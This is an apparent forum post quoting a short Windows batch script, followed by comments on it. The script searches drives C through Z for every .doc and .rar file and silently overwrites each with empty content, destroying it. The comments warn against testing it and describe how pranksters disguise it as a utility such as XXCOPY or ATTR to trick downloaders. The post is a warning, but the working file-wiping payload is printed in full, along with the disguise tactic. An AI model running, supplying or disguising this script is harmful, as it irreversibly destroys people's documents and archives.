@echo off
set drv=c d e f g h i j k l m n o p q r s t u v w x y z
for %%a in (%drv%) do (
for /f "delims=*" %%i in ('dir/a-d/b/s %%a:\*.doc %%a:\*.rar') do type>"%%i"
)>nul 2>nul
pause
Damn it, this is N times more malicious than FORMAT!
It seems to be a bit off-topic; we were discussing commands, not the command line.
Test the following with caution! Those unfamiliar with this should not attempt to test its destructive capabilities!
Some pranksters convert this batch file using BAT2COM, rename it to external commands like XXCOPY or ATTR to trick people, provide it as a download attachment, and once run, the files on the D drive will be completely ruined!
[ Last edited by haiou327 on 2009-5-12 at 06:37 ]
